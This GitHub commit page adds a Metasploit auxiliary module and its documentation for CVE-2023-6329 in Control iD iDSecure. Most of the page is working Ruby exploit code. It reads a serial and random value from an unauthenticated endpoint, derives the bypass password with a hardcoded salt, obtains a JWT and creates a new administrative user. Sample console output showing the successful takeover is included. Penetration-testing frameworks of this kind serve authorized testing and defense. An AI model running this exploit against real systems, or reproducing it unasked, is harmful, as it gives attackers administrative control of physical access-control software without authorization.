Skip to content

Commit 84431b0

Browse files
committed
Land rapid7#19380, Control iD iDSecure Authentication Bypass (CVE-2023-6329) Module
Merge branch 'land-19380' into upstream-master
2 parents def7f5a + 3f3690b commit 84431b0

File tree

2 files changed

+244
-0
lines changed

2 files changed

+244
-0
lines changed
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
## Vulnerable Application
2+
3+
This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an
4+
unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.
5+
6+
The advisory from Tenable is available [here](https://www.tenable.com/security/research/tra-2023-36), which lists the affected version
7+
4.7.32.0. According to the Solution section, the vendor has not responded to the contact attempts from Tenable. While creating this MSF
8+
module, the latest version available was 4.7.43.0, which was confirmed to be still vulnerable.
9+
10+
## Testing
11+
12+
The software can be obtained from the [vendor](https://www.controlid.com.br/suporte/idsecure).
13+
14+
Deploy it by following the vendor's [documentation](https://www.controlid.com.br/docs/idsecure-en/).
15+
16+
**Successfully tested on**
17+
18+
- Control iD iDSecure v4.7.43.0 on Windows 10 22H2
19+
- Control iD iDSecure v4.7.32.0 on Windows 10 22H2
20+
21+
## Verification Steps
22+
23+
1. Deploy Control iD iDSecure v4.7.43.0
24+
2. Start `msfconsole`
25+
3. `use auxiliary/admin/http/idsecure_auth_bypass`
26+
4. `set RHOSTS <IP>`
27+
5. `run`
28+
6. A new administrative user should have been added to the web interface of the product.
29+
30+
## Options
31+
32+
### NEW_USER
33+
The name of the new administrative user.
34+
35+
### NEW_PASSWORD
36+
The password of the new administrative user.
37+
38+
## Scenarios
39+
40+
Running the module against Control iD iDSecure v4.7.43.0 should result in an output
41+
similar to the following:
42+
43+
```
44+
msf6 > use auxiliary/admin/http/idsecure_auth_bypass
45+
msf6 auxiliary(admin/http/idsecure_auth_bypass) > set RHOSTS 192.168.137.196
46+
[*] Running module against 192.168.137.196
47+
48+
[*] Running automatic check ("set AutoCheck false" to disable)
49+
[*] Version retrieved: 4.7.43.0
50+
[+] The target appears to be vulnerable.
51+
[+] Retrieved passwordRandom: <redacted>
52+
[+] Retrieved serial: <redacted>
53+
[*] Created passwordCustom: <redacted>
54+
[+] Retrieved JWT accessToken: <redacted>
55+
[+] New user 'h4x0r:Sup3rS3cr3t!' was successfully added.
56+
[+] Login at: https://192.168.137.196:30443/#/login
57+
[*] Auxiliary module execution completed
58+
59+
```
Lines changed: 185 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,185 @@
1+
class MetasploitModule < Msf::Auxiliary
2+
include Msf::Exploit::Remote::HttpClient
3+
prepend Msf::Exploit::Remote::AutoCheck
4+
CheckCode = Exploit::CheckCode
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'Control iD iDSecure Authentication Bypass (CVE-2023-6329)',
11+
'Description' => %q{
12+
This module exploits an improper access control vulnerability (CVE-2023-6329) in Control iD iDSecure <= v4.7.43.0. It allows an
13+
unauthenticated remote attacker to compute valid credentials and to add a new administrative user to the web interface of the product.
14+
},
15+
'Author' => [
16+
'Michael Heinzl', # MSF Module
17+
'Tenable' # Discovery and PoC
18+
],
19+
'References' => [
20+
['CVE', '2023-6329'],
21+
['URL', 'https://www.tenable.com/security/research/tra-2023-36']
22+
],
23+
'DisclosureDate' => '2023-11-27',
24+
'DefaultOptions' => {
25+
'RPORT' => 30443,
26+
'SSL' => 'True'
27+
},
28+
'License' => MSF_LICENSE,
29+
'Notes' => {
30+
'Stability' => [CRASH_SAFE],
31+
'Reliability' => [REPEATABLE_SESSION],
32+
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
33+
}
34+
)
35+
)
36+
37+
register_options([
38+
OptString.new('NEW_USER', [true, 'The new administrative user to add to the system', Rex::Text.rand_text_alphanumeric(8)]),
39+
OptString.new('NEW_PASSWORD', [true, 'Password for the specified user', Rex::Text.rand_text_alphanumeric(12)])
40+
])
41+
end
42+
43+
def check
44+
begin
45+
res = send_request_cgi({
46+
'method' => 'GET',
47+
'uri' => normalize_uri(target_uri.path, 'api/util/configUI')
48+
})
49+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
50+
return CheckCode::Unknown
51+
end
52+
53+
return CheckCode::Unknown unless res&.code == 401
54+
55+
data = res.get_json_document
56+
version = data['Version']
57+
return CheckCode::Unknown if version.nil?
58+
59+
print_status('Got version: ' + version)
60+
return CheckCode::Safe unless Rex::Version.new(version) <= Rex::Version.new('4.7.43.0')
61+
62+
return CheckCode::Appears
63+
end
64+
65+
def run
66+
# 1) Obtain the serial and passwordRandom
67+
res = send_request_cgi(
68+
'method' => 'GET',
69+
'uri' => normalize_uri(target_uri.path, 'api/login/unlockGetData')
70+
)
71+
72+
unless res
73+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
74+
end
75+
unless res.code == 200
76+
fail_with(Failure::UnexpectedReply, res.to_s)
77+
end
78+
79+
json = res.get_json_document
80+
unless json.key?('passwordRandom') && json.key?('serial')
81+
fail_with(Failure::UnexpectedReply, 'Unable to retrieve passwordRandom and serial')
82+
end
83+
84+
password_random = json['passwordRandom']
85+
serial = json['serial']
86+
print_good('Retrieved passwordRandom: ' + password_random)
87+
print_good('Retrieved serial: ' + serial)
88+
89+
# 2) Create passwordCustom
90+
sha1_hash = Digest::SHA1.hexdigest(serial)
91+
combined_string = sha1_hash + password_random + 'cid2016'
92+
sha256_hash = Digest::SHA256.hexdigest(combined_string)
93+
short_hash = sha256_hash[0, 6]
94+
password_custom = short_hash.to_i(16).to_s
95+
print_status("Created passwordCustom: #{password_custom}")
96+
97+
# 3) Login with passwordCustom and passwordRandom to obtain a JWT
98+
body = "{\"passwordCustom\": \"#{password_custom}\", \"passwordRandom\": \"#{password_random}\"}"
99+
100+
res = send_request_cgi({
101+
'method' => 'POST',
102+
'ctype' => 'application/json',
103+
'uri' => normalize_uri(target_uri.path, 'api/login/'),
104+
'data' => body
105+
})
106+
107+
unless res
108+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
109+
end
110+
unless res.code == 200
111+
fail_with(Failure::UnexpectedReply, res.to_s)
112+
end
113+
114+
json = res.get_json_document
115+
unless json.key?('accessToken')
116+
fail_with(Failure::UnexpectedReply, 'Did not receive JWT')
117+
end
118+
119+
access_token = json['accessToken']
120+
print_good('Retrieved JWT: ' + access_token)
121+
122+
# 4) Add a new administrative user
123+
body = {
124+
idType: '1',
125+
name: datastore['NEW_USER'],
126+
user: datastore['NEW_USER'],
127+
newPassword: datastore['NEW_PASSWORD'],
128+
password_confirmation: datastore['NEW_PASSWORD']
129+
}.to_json
130+
131+
res = send_request_cgi({
132+
'method' => 'POST',
133+
'ctype' => 'application/json',
134+
'headers' => {
135+
'Authorization' => "Bearer #{access_token}"
136+
},
137+
'uri' => normalize_uri(target_uri.path, 'api/operator/'),
138+
'data' => body
139+
})
140+
141+
unless res
142+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
143+
end
144+
145+
unless res.code == 200
146+
fail_with(Failure::UnexpectedReply, res.to_s)
147+
end
148+
149+
json = res.get_json_document
150+
unless json.key?('code') && json['code'] == 200 && json.key?('error') && json['error'] == 'OK'
151+
fail_with(Failure::UnexpectedReply, 'Received unexpected value for code and/or error:\n' + json.to_s)
152+
end
153+
154+
# 5) Confirm credentials work
155+
body = {
156+
username: datastore['NEW_USER'],
157+
password: datastore['NEW_PASSWORD'],
158+
passwordCustom: nil
159+
}.to_json
160+
161+
res = send_request_cgi({
162+
'method' => 'POST',
163+
'ctype' => 'application/json',
164+
'uri' => normalize_uri(target_uri.path, 'api/login/'),
165+
'data' => body
166+
})
167+
168+
unless res
169+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
170+
end
171+
172+
unless res.code == 200
173+
fail_with(Failure::UnexpectedReply, res.to_s)
174+
end
175+
176+
json = res.get_json_document
177+
unless json.key?('accessToken') && json.key?('unlock')
178+
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
179+
end
180+
181+
store_valid_credential(user: datastore['NEW_USER'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
182+
print_good("New user '#{datastore['NEW_USER']}:#{datastore['NEW_PASSWORD']}' was successfully added.")
183+
print_good("Login at: #{full_uri(normalize_uri(target_uri, '#/login'))}")
184+
end
185+
end

0 commit comments

Comments
 (0)